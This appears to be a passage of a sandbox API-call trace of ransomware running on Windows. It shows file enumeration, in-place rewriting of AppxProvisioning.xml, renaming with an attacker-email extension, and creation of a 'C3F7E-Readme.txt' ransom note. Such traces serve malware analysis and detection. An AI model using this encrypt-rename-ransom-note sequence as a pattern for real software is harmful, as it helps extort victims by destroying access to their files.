	[0090.556] wcscat (in: _Dest=0x4778060, _Source="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml"
	[0090.557] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml")) returned 0x20
	[0090.557] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.557] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.557] GetLastError () returned 0x5
	[0090.557] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.557] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778060) returned 1
	[0090.557] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e3b40e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb6e3b40e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb6e3b40e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x7511, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml", cAlternateFileName="MID8D3~1.XML")) returned 1
	[0090.557] wcscmp (_String1="Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.557] wcscmp (_String1="Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.557] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477df50
	[0090.557] wcscpy (in: _Dest=0x477df50, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.557] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.557] wcscat (in: _Dest=0x477df50, _Source="Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml"
	[0090.557] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0090.557] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.557] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.558] GetLastError () returned 0x5
	[0090.558] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.558] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477df50) returned 1
	[0090.558] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7267611, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb7267611, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7267611, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x26ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml", cAlternateFileName="MIC7E0~1.XML")) returned 1
	[0090.558] wcscmp (_String1="Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.558] wcscmp (_String1="Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.558] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e12248
	[0090.558] wcscpy (in: _Dest=0x2e12248, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.558] wcscat (in: _Dest=0x2e12248, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.558] wcscat (in: _Dest=0x2e12248, _Source="Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml"
	[0090.558] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0090.558] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.558] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.558] GetLastError () returned 0x5
	[0090.558] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.558] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12248) returned 1
	[0090.558] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5a03408, ftCreationTime.dwHighDateTime=0x1d3271f, ftLastAccessTime.dwLowDateTime=0xf5a03408, ftLastAccessTime.dwHighDateTime=0x1d3271f, ftLastWriteTime.dwLowDateTime=0xf5a03408, ftLastWriteTime.dwHighDateTime=0x1d3271f, nFileSizeHigh=0x0, nFileSizeLow=0x6580, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", cAlternateFileName="MIF36F~1.XML")) returned 1
	[0093.312] wcscmp (_String1="Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0093.312] wcscmp (_String1="Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0093.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477eb90
	[0093.312] wcscpy (in: _Dest=0x477eb90, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0093.312] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0093.312] wcscat (in: _Dest=0x477eb90, _Source="Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"
	[0093.312] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml")) 

Thread:
	id = 1003
	os_tid = 0x1c1c

	[0082.584] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml" (normalized: "c:\\programdata\\microsoft\\windows\\appxprovisioning.xml")) returned 0x20
	[0085.431] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml", dwFileAttributes=0x20) returned 1
	[0085.441] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml" (normalized: "c:\\programdata\\microsoft\\windows\\appxprovisioning.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1824
	[0085.448] GetFileSizeEx (in: hFile=0x1824, lpFileSize=0x23c3faac | out: lpFileSize=0x23c3faac*=17175) returned 1
	[0085.448] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0x4313, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.448] ReadFile (in: hFile=0x1824, lpBuffer=0x23c3fa30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23c3fa2c, lpOverlapped=0x0 | out: lpBuffer=0x23c3fa30*, lpNumberOfBytesRead=0x23c3fa2c*=0x4, lpOverlapped=0x0) returned 1
	[0085.450] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0085.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.450] NtQuerySystemTime (in: CurrentTime=0x23c3fa0c | out: CurrentTime=0x23c3fa0c*=132251868121869188) returned 0x0
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x538c5d3f
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x87099fd3
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x9a136eb5
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x4e1570cb
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x4e6f4445
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0xa64ab5e1
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0xd993842f
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x13bbda48
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x149ef92f
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x9bb3273d
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0xa7313707
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x172f33b2
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x6e4a92a3
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0xcd13cd10
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0xf3cebc7f
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x21950fe0
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x4f528a5c
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x7f3d5eab
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0xa41533d8
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x2407533b
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x2cb49d02
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x75031265
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x1de2be54
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0xfc1532e1
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x89d84ffd
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x98d29867
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0xa87d9b6e
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x7aa9c87f
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0xd84c54d1
	[0085.450] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x1d390723
	[0085.451] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x5536697
	[0085.451] RtlRandom (in: Seed=0x23c3fa18 | out: Seed=0x23c3fa18) returned 0x82a7cb83
	[0085.459] ReadFile (in: hFile=0x1824, lpBuffer=0x47db828, nNumberOfBytesToRead=0x4317, lpNumberOfBytesRead=0x23c3fa08, lpOverlapped=0x0 | out: lpBuffer=0x47db828*, lpNumberOfBytesRead=0x23c3fa08*=0x4317, lpOverlapped=0x0) returned 1
	[0085.463] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.463] WriteFile (in: hFile=0x1824, lpBuffer=0x500d818*, nNumberOfBytesToWrite=0x4317, lpNumberOfBytesWritten=0x23c3fa04, lpOverlapped=0x0 | out: lpBuffer=0x500d818*, lpNumberOfBytesWritten=0x23c3fa04*=0x4317, lpOverlapped=0x0) returned 1
	[0085.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0085.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0085.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d818) returned 1
	[0085.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47db828) returned 1
	[0085.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x35) returned 0x477ad68
	[0085.467] SetFilePointerEx (in: hFile=0x1824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.467] WriteFile (in: hFile=0x1824, lpBuffer=0x2d88ff0*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x23c3fa6c, lpOverlapped=0x0 | out: lpBuffer=0x2d88ff0*, lpNumberOfBytesWritten=0x23c3fa6c*=0x119, lpOverlapped=0x0) returned 1
	[0085.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88ff0) returned 1
	[0085.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a7a8) returned 1
	[0085.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ad68) returned 1
	[0085.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0085.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0085.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0085.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4f2dc20
	[0085.469] wcscpy (in: _Dest=0x4f2dc20, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml"
	[0085.469] wcscat (in: _Dest=0x4f2dc20, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.469] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x23c3fa24, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ea3a0
	[0085.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0085.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924bb8) returned 1
	[0085.470] NtQueryInformationFile (in: FileHandle=0x1824, IoStatusBlock=0x23c3fa30, FileInformation=0x23c3fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23c3fa30, FileInformation=0x23c3fa08) returned 0x0
	[0085.470] NtSetInformationFile (FileHandle=0x1824, IoStatusBlock=0x23c3fa30, FileInformation=0x23c3fa08, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2dc20) returned 1
	[0085.471] FlushFileBuffers (hFile=0x1824) returned 1
	[0093.055] CloseHandle (hObject=0x1824) returned 1
	[0093.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x47ed290
	[0093.057] wcscpy (in: _Dest=0x47ed290, _Source="C:\\ProgramData\\Microsoft\\Windows\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0093.057] wcscat (in: _Dest=0x47ed290, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\C3F7E-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Windows\\C3F7E-Readme.txt"
	[0093.057] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\c3f7e-readme.txt")) returned 0xffffffff
	[0093.057] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 1004
	os_tid = 0x1c20

	[0082.585] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2dae8e8
	[0082.585] wcscpy (in: _Dest=0x2dae8e8, _Source="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC"
	[0082.585] wcscat (in: _Dest=0x2dae8e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\"
	[0082.585] wcscat (in: _Dest=0x2dae8e8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\*"
	[0082.585] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e267f0
	[0082.586] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\*", lpFindFileData=0x2e267f0 | out: lpFindFileData=0x2e267f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x7dc6c35, ftLastAccessTime.dwHighDateTime=0x1d5d806, ftLastWriteTime.dwLowDateTime=0x7dc6c35, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a86d8
	[0082.586] wcscmp (_String1=".", _String2=".") returned 0
	[0082.587] FindNextFileW (in: hFindFile=0x46a86d8, lpFindFileData=0x2e267f0 | out: lpFindFileData=0x2e267f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x7dc6c35, ftLastAccessTime.dwHighDateTime=0x1d5d806, ftLastWriteTime.dwLowDateTime=0x7dc6c35, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.587] wcscmp (_String1="..", _String2=".") returned 1
	[0082.587] wcscmp (_String1="..", _String2="..") returned 0
	[0082.587] FindNextFileW (in: hFindFile=0x46a86d8, lpFindFileData=0x2e267f0 | out: lpFindFileData=0x2e267f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17cbb4ff, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Archive", cAlternateFileName="")) returned 1
	[0082.587] wcscmp (_String1="Archive", _String2=".") returned 1
	[0082.587] wcscmp (_String1="Archive", _String2="..") returned 1
	[0082.587] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x47ec880
	[0082.587] wcscpy (in: _Dest=0x47ec880, _Source="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC"
	[0082.587] wcscat (in: _Dest=0x47ec880, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\"
	[0082.587] wcscat (in: _Dest=0x47ec880, _Source="Archive" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive"
	[0090.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x47ecce0
	[0090.473] wcscpy (in: _Dest=0x47ecce0, _Source="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive"
	[0090.473] wcscat (in: _Dest=0x47ecce0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\"
	[0090.473] wcscat (in: _Dest=0x47ecce0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\*"
	[0090.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502a798
	[0090.473] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\*", lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17cbb4ff, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x7d7457cd, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a7a8
	[0090.473] wcscmp (_String1=".", _String2=".") returned 0
